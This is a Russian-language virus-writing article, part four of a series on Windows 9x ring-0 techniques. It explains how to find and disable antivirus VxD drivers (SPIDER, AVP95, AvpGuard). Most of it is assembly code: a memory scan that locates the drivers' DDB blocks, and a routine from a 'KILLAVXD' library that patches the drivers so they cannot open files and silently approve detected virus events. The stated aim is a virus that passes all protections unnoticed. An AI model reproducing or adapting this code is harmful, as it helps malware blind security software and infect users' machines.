В этой, четвертой части статьи про ring-0 мы будем говорить о проблемах, возникающих после перехода в нулевое кольцо, а именно об отгрузке антивирусных VxD-драйверов.
Напомню, что под маздаем можно перейти в нулевое кольцо как минимум одним из следующих способов:
При этом мы знаем, что можно писать в защищенную память из третьего кольца, например модифицируя таблицу страниц или через INT 2E/RtlCopyMemory.
Теперь остановимся на следующем шаге: мы либо перешли в 0, либо остались в третьем кольце, но можем производить запись в любое место памяти. Так вот, обладая такими свойствами, мы, тем не менее, не можем делать системных вызовов, потому что есть шанс нарваться на антивирусный драйвер.
Например запись в исполняемый файл в районе заголовка отлавливается как вирусоподобная (а так и есть), на VxDcall-ы из адресов PE-файлов у всяких там спидеров тоже приподнимается, так что, как уже не раз говорилось, мы не идем на компромисс -- мы просто убиваем мешающий нам софт.
Как убить VxD-драйвер?
Для этого надо ответить на 2 вопроса. Во-первых, что это за драйвер, и, во-вторых, где он находится. Btw, скажу сразу, здесь я рассматриваю только 3 драйвера, а именно SPIDER.VXD, AVP95.VXD и AVPG.VXD (AvpGuard).
Как найти загруженный VxD? Можно получить поинтер на первый DDB и дальше идти по цепочке, проверяя имя драйвера. Но это есть хуйня, ибо VxDcall VXDLDR_GetDeviceList может легко отлавливаться так же как и любой другой вызов. Поэтому предлагается сканировать всю память в поисках DDB-блоков. Таким образом мы и найдем интересующие нас VxD-драйвера.
Поиск DDB в памяти:
mov ebx, 0C0000000h __scancycle: push 8192 ; 2 pages push ebx callW IsBadReadPtr or eax, eax jnz __skippage xor esi, esi __cycle: ; общие черты, характерные для всех искомых драйверов cmp [ebx+esi].DDB_SDK_Version, 400h jne __cont cmp [ebx+esi].DDB_Name.byte ptr 7, 32 jne __cont cmp [ebx+esi].DDB_Init_Order, 80000000h jne __cont cmp [ebx+esi].DDB_Prev, 'Prev' jne __cont mov eax, dword ptr [ebx+esi].DDB_Name cmp eax, 'DIPS' ; SPIDER je __fuckup cmp edx, '9PVA' ; AVP95 je __fuckup cmp edx, 'GPVA' ; AVPGUARD je __fuckup __cont: inc esi cmp esi, 4096 jb __cycle __skippage: add ebx, 4096 cmp ebx, 0D0000000h jb __scancycle
Вот мы и нашли DDB драйвера, проверили имя, и выяснили что это та самая сволочь. Как убивать?
Где нибудь с control_proc_0 сканируем и патчим память на предмет следующих значений: для спидера и авп95 находим все последовательности
B8 0000D500 mov eax, R0_OPENCREATFILE и B8 0000D501 mov eax, R0_OPENCREAT_IN_CONTEXT
и меняем на
B8 FFFFFFFF
В результате проклятый антивир теряет способность открывать файлы, и, соответственно, никак не реагирует на их изменение. Для avpg.vxd проделываем то же самое, плюс к этому находим
CD 20 002A001A VxDcall VWIN32_SysErrorBox CD 20 002A000E VxDcall VWIN32_SetWin32Event
и меняем на
90 B8 00000001 nop / mov eax, 1
В результате антивирус вирусные события-то отлавливает, но вот передать их в PE-файл посредством VWIN32_SetWin32Event не может, и поэтому сам пробует вызвать VWIN32_SysErrorBox. А это такая фишка, которая спрашивает да/нет. Вот тут он и имеет EAX=1, что означает Yes.
Теперь подходим к такому вопросу: а что если CD 20 nnnnnnnn уже успело измениться на CALL ? Тогда надо вычислить два следующих значения:
mov eax, 002Ah ; VMM xor edi, edi VMMcall Get_DDB ; ECX<--offset DDB mov edx, [ecx+30h] ; DDB_Service_Table_Ptr xxxxxxxx <-- [edx+4*001Ah] ; VWIN32_SysErrorBox yyyyyyyy <-- [edx+4*000Eh] ; VWIN32_SetWin32Event
и так же как и в случае CD 20 nnnnnnnn, заменить все
FF 15 xxxxxxxx call [xxxxxxxx] и FF 15 yyyyyyyy call [yyyyyyyy]
на
90 B8 00000001 nop / mov eax, 1
Только вместо VMMcall Get_DDB желательно найти VMM-овский DDB так, как это было описано в самом начале текста, хотя если работает только один avpg.vxd это не обязательно.
Короче говоря, применив все вышеписанное вы поимеете вирусняк, пробивающий все защиты, без каких-либо жестоких действий типа отгрузки драйвера напрочь, что немаловажно. Вобщем антивир молчит, юзер играет, вирус работает.
Вот кусок из библиотечки KILLAVXD, слегка модифицированный в соответствии с вышесказанным:
... lea edx, [ebx+0Ch]; Name_0 mov edx, [edx] cmp edx, 'DIPS' ; SPIDER je __kavxd_patch cmp edx, '9PVA' ; AVP95 je __kavxd_patch cmp edx, 'GPVA' ; AVPGUARD je __kavxd_patch ... __kavxd_patch: pusha push offset kavxd_kill_moveax pop kavxd_killhandler mov esi, 0000D500h ; R0_OPENCREATFILE call __kavxd_fuck mov esi, 0000D501h ; R0_OPENCREAT_IN_CONTEXT call __kavxd_fuck cmp edx, 'GPVA' jne __skip1 push offset kavxd_kill_cd20 pop kavxd_killhandler mov esi, 002A001Ah ; VWIN32_SysErrorBox call __kavxd_fuck mov esi, 002A000Eh ; VWIN32_SetWin32Event call __kavxd_fuck push offset kavxd_kill_badcall pop kavxd_killhandler mov eax, 002Ah ; VMM xor edi, edi VMMcall Get_DDB mov edx, [ecx+30h] ; DDB_Service_Table_Ptr lea esi, [edx+4*001Ah] ; VWIN32_SysErrorBox call __kavxd_fuck lea esi, [edx+4*000Eh] ; VWIN32_SetWin32Event call __kavxd_fuck __skip1: popa ... __kavxd_fuck: pusha mov edi, [ebx+18h] ; Control_Proc_0 __kavxd_1: lea ecx, [edi+4] ; check presence for test ecx, 00000FFFh ; each new page encountered jnz __kavxd_2 pusha sub esp, 28 mov esi, esp push 28 push esi ; esi = MEMORY_BASIC_INFO push ecx VxDcall VMM, PageQuery test dword ptr [esi+10h], 1000h ; mbi_state & MEM_COMMIT lea esp, [esp + 4*3 + 28] popa jnz __kavxd_2 popa ret __kavxd_2: inc edi cmp [edi], esi ;jne __kavxd_1 call kavxd_killhandler jmp __kavxd_1 kavxd_killhandler dd ? kavxd_kill_moveax: cmp byte ptr [edi-1], 0B8h jne rt mov dword ptr [edi], -1 ; R0_xxx <-- 0xFFFFFFFF ret kavxd_kill_cd20: cmp word ptr [edi-2], 20CDh jne rt kavxd_kill_both: mov word ptr [edi-2], 0B890h ; nop/mov eax, 1 mov dword ptr [edi], 1 ret kavxd_kill_badcall: cmp word ptr [edi-2], 15FFh je kavxd_kill_both rt: ret
* * *
(c)